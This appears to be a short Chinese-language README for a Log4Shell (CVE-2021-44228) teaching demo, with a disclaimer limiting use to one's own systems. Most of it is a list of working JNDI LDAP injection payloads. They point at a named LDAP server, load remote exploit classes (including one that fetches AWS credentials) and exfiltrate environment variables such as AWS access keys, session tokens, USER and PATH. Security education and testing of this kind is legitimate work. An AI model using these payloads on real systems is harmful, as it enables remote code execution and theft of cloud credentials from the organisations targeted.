jxerome/log4shellLog4Shell 漏洞（CVE-2021-44228）的教学演示，包含 JNDI LDAP 载荷，用于在您自己的系统上进行实验性测试。
本项目演示了log4shell安全漏洞的工作原理。
该漏洞在CVE-2021-44228中有详细描述。
本项目仅用于教学目的。 只能在您自己的系统上使用，且仅用于实验目的。
任何执行操作的风险均由您自行承担。 作者对因执行本项目而导致的任何事故概不负责。
ldap_server=i-09cd4f41e5a2b1d66.eu-west-3.compute.internal:1389
hello '${jndi:ldap://'"${ldap_server}"'/run=log4shell.Exploit}'
hello '${jndi:ldap://'"${ldap_server}"'/run=log4shell.ExploitP,msg=my friend}'
hello '${jndi:ldap://'"${ldap_server}"'/run=log4shell.aws.FetchCreds}'
hello '${jndi:ldap://'"${ldap_server}"'/log=PATH:${env:USER}}'
hello '${jndi:ldap://'"${ldap_server}"'/log=PATH:${env:PATH}}'
hello '${jndi:ldap://'"${ldap_server}"'/log=os=${java:os}}'
hello '${jndi:ldap://'"${ldap_server}"'/log=aws_credentials,AWS_ACCESS_KEY_ID=${env:AWS_ACCESS_KEY_ID},AWS_SECRET_ACCESS_KEY=${env:AWS_SECRET_ACCESS_ID},AWS_SESSION_TOKEN=${env:AWS_SESSION_TOKEN}}'